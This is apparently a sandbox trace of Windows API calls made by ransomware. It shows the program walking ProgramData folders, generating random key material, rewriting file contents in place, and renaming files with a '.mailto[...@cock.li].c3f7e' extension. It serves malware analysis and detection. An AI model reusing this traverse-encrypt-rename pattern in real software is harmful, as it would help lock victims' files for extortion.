	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bc8) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a88) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bf0) returned 1
	[0092.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0092.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491dcb8
	[0092.434] wcscpy (in: _Dest=0x491dcb8, _Source="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"
	[0092.434] wcscat (in: _Dest=0x491dcb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.434] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xecbf70c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4776b60
	[0092.438] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0092.438] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bc18) returned 1
	[0092.438] NtQueryInformationFile (in: FileHandle=0x13b4, IoStatusBlock=0xecbf718, FileInformation=0xecbf6f0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xecbf718, FileInformation=0xecbf6f0) returned 0x0
	[0092.438] NtSetInformationFile (FileHandle=0x13b4, IoStatusBlock=0xecbf718, FileInformation=0xecbf6f0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491dcb8) returned 1
	[0092.439] FlushFileBuffers (hFile=0x13b4) returned 1
	[0093.279] CloseHandle (hObject=0x13b4) 

Thread:
	id = 345
	os_tid = 0x148c

	[0076.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d61840
	[0076.888] wcscpy (in: _Dest=0x2d61840, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0076.888] wcscat (in: _Dest=0x2d61840, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\"
	[0076.888] wcscat (in: _Dest=0x2d61840, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*"
	[0076.888] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddd130
	[0076.888] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2ddd130 | out: lpFindFileData=0x2ddd130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d875f8
	[0079.947] wcscmp (_String1=".", _String2=".") returned 0
	[0079.947] FindNextFileW (in: hFindFile=0x2d875f8, lpFindFileData=0x2ddd130 | out: lpFindFileData=0x2ddd130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.947] wcscmp (_String1="..", _String2=".") returned 1
	[0079.947] wcscmp (_String1="..", _String2="..") returned 0
	[0079.947] FindNextFileW (in: hFindFile=0x2d875f8, lpFindFileData=0x2ddd130 | out: lpFindFileData=0x2ddd130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.947] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.947] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.947] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb760
	[0079.947] wcscpy (in: _Dest=0x2ddb760, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0079.947] wcscat (in: _Dest=0x2ddb760, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\"
	[0079.947] wcscat (in: _Dest=0x2ddb760, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0092.253] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.253] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0092.254] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\"
	[0092.254] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*"
	[0092.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.254] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.254] wcscmp (_String1=".", _String2=".") returned 0
	[0092.254] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.254] wcscmp (_String1="..", _String2=".") returned 1
	[0092.254] wcscmp (_String1="..", _String2="..") returned 0
	[0092.254] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.254] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1
	[0092.254] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1
	[0092.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33478
	[0092.254] wcscpy (in: _Dest=0x4e33478, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0092.254] wcscat (in: _Dest=0x4e33478, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\"
	[0092.254] wcscat (in: _Dest=0x4e33478, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0092.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e258
	[0092.254] wcscpy (in: _Dest=0x491e258, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86"
	[0092.254] wcscat (in: _Dest=0x491e258, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\"
	[0092.254] wcscat (in: _Dest=0x491e258, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*"
	[0092.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.254] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.255] wcscmp (_String1=".", _String2=".") returned 0
	[0092.255] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.255] wcscmp (_String1="..", _String2=".") returned 1
	[0092.255] wcscmp (_String1="..", _String2="..") returned 0
	[0092.255] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.255] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.255] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.255] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.255] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1
	[0092.255] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1
	[0092.255] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.255] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491e258) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33478) returned 1
	[0092.256] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.256] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb760) returned 1
	[0092.256] FindNextFileW (in: hFindFile=0x2d875f8, lpFindFileData=0x2ddd130 | out: lpFindFileData=0x2ddd130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.256] FindClose (in: hFindFile=0x2d875f8 | out: hFindFile=0x2d875f8) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddd130) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61840) returned 1
	[0092.256] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f070) returned 1

Thread:
	id = 346
	os_tid = 0x1490

	[0076.889] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag")) returned 0x20
	[0081.478] SetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0x20) returned 1
	[0081.488] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1424
	[0081.488] GetFileSizeEx (in: hFile=0x1424, lpFileSize=0xedbfd18 | out: lpFileSize=0xedbfd18*=1072) returned 1
	[0081.489] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x42c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.489] ReadFile (in: hFile=0x1424, lpBuffer=0xedbfc9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xedbfc98, lpOverlapped=0x0 | out: lpBuffer=0xedbfc9c*, lpNumberOfBytesRead=0xedbfc98*=0x4, lpOverlapped=0x0) returned 1
	[0081.494] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ca8
	[0081.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.494] NtQuerySystemTime (in: CurrentTime=0xedbfc78 | out: CurrentTime=0xedbfc78*=132251868082337961) returned 0x0
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xad5ea9d3
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x7c141eb2
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x93ec0d93
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x4697031e
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x49263f0
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xc91f29ea
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x55507cd2
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xba7e5478
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x42e48b77
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xdd73f092
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xee7725e2
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xa57d6da1
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x4a96c55a
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x2e441099
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x4ddd2ca3
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x604b5776
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xddbc375a
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xd5a74ecf
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x69632a54
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x62769c89
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x629d6c99
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xad60ebd7
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xaf8bb559
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x4999bdc4
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xadfc5756
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xf9ebb674
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x4f94a667
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x9e3a86f1
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x192295c5
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0xaad215ad
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x13f2316c
	[0081.494] RtlRandom (in: Seed=0xedbfc84 | out: Seed=0xedbfc84) returned 0x34835a80
	[0081.501] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04978
	[0081.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0081.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ca8) returned 1
	[0081.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0081.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.503] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0081.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.508] ReadFile (in: hFile=0x1424, lpBuffer=0x46f5870, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0xedbfc74, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0xedbfc74*=0x430, lpOverlapped=0x0) returned 1
	[0081.508] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.508] WriteFile (in: hFile=0x1424, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0xedbfc70, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0xedbfc70*=0x430, lpOverlapped=0x0) returned 1
	[0081.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.509] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.509] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
